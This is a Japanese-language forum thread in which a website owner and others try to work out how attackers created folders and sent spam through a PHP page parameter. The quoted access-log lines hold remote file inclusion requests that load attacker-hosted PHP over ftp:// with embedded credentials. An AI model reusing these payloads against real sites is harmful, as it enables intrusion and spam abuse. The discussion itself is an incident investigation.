2016-07-13 17 views
2

大きな問題に直面しており、原因を見つけることができません。私はftpアクセスでポート80のApacheで動作しているウェブサイトを持っています。HTMLからFTPでユーザー作成フォルダ

一部のユーザーが悪意のあるコマンドでFTPフォルダを作成しています。私は、Apacheのログを分析し、次の奇妙な行が見つかりました:私のFTPでは、以下のフォルダが作成された

[08/Jul/2016:22:54:09 -0300] "POST /index.php?pg=ftp://zkeliai:[email protected]/Thumbr.php?x&action=upload&chdir=/home/storage/9/ff/8d/mywebsite/public_html/Cliente/ HTTP/1.1" 200 18391 "http://mywebsite/index.php?pg=ftp://zkeliai:[email protected]/Thumbr.php?x&chdir=/home/storage/9/ff/8d/mywebsite/public_html/Cliente/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 

を:/public_html/Cliente

私は$_GET['pg']を使用しています私のコードで作品、参照を持っています。

$pg = isset($_GET['pg']) ? $_GET['pg'] : null; 
$pg = htmlspecialchars($pg, ENT_QUOTES); 

ハッカーのようにコマンド"pg=ftp://zkeliai..."を試してみましたが、何も起こりませんでした。私は非常にハッカーが私のFTPのフォルダを作成した方法に混乱しています。

+0

あなたのFTPの制限(ユーザーアクセス)が必要なのかもしれません。 –

+0

'Thumbr.php'はどのように作成されますか?あなたはそれを作成しましたか? – CodeGodie

+0

また、 'index.php'を確認してください、そこに余分なコードはありますか? – CodeGodie

答えて

0

$pgが使用されているものを知らなければ、それはハッカーがやっているものを得ることは本当に可能ではないのですが、彼はパラメータ

でのindex.phpにPOSTリクエストを送信するように見えますか? PG = ftp://zkeliai:[email protected]/Thumbr.php?x&chdir=/home/storage/9/ff/8d/mywebsite/public_html/Cliente/

htmlspecialcharsであなたの衛生の効果は&に、文字列内の1つの&を変換することです。 index.phpでリクエストを処理したときに、内部文字列で&に変換されます。これはPHPがURLエンコードされたものとみなすため、index.phpがサーバー側のリクエストをThumbr.phpの場合、&が存在し、FTPにパラメータを送信します。

+1

私はあなたがその点を逃したと思う。 OPは、実際にFTPユーザアカウントを作成せずに、ハッカーがFTPをどのように使用できるかを知りたいと考えています。 – CodeGodie

+0

私はこれが私のftpの中のフォルダをどのように作るのか理解できません。 – RonaldoLanhellas

0

私たちの大学のサイトでも同様の問題がありました。ここに私たちのログ

POSTの/navigator/index.phpページからの抜粋です

showcase.phpとThumbr.php:2200は、この二つの異なる.PHPページとIPからの最後の数日間に当たる上で我々は持っています= ftp://zkeliai:[email protected]/zkeliai/showcase.php? Windows + NT + 6.1、+ WOW64、+ Trident/4.0、+ SLCC2、+。NET + CLR + 2.0.50727、+。NET + CLR(Mozilla/4.0 +互換性、+ MSIE + 7.0) +3.5.30729;。+ NET + CLR + 3.0.30729; +メディア+センター+ PC + 6.0; + NET4.0C;。。+ NET4.0E)このページを使用した200 0 0 11154

SMTPサーバー経由でスパムを送信します。 URLのpage = GETパラメータは、値のフィルタリングなしでPHPページによって読み込まれていました。 showcase.phpページ(FTPサイトではなくなりました)は、件名のフィールド、HTML本文の内容のフィールド、電子メール受信者のテキスト領域を持つシンプルなHTMLフォームでした。

何が投稿されたのかわからないと、そのページのコンテンツを管理するために$ _GET []が含まれているPHPにFTPページ(埋め込まれた資格情報付き)が読み込まれているようです。私はそれがどのように機能するかについては不明ですが、それは起こったことのようです。

+0

非常に興味深いです、あなたは私とほとんど同じ問題を抱えています。私は本当の原因を勉強しています。 – RonaldoLanhellas

+0

しかし、私は主な問題は、ハッカーがファイルをアクセスせずにftpに置く方法を発見することだと思います。 – RonaldoLanhellas

関連する問題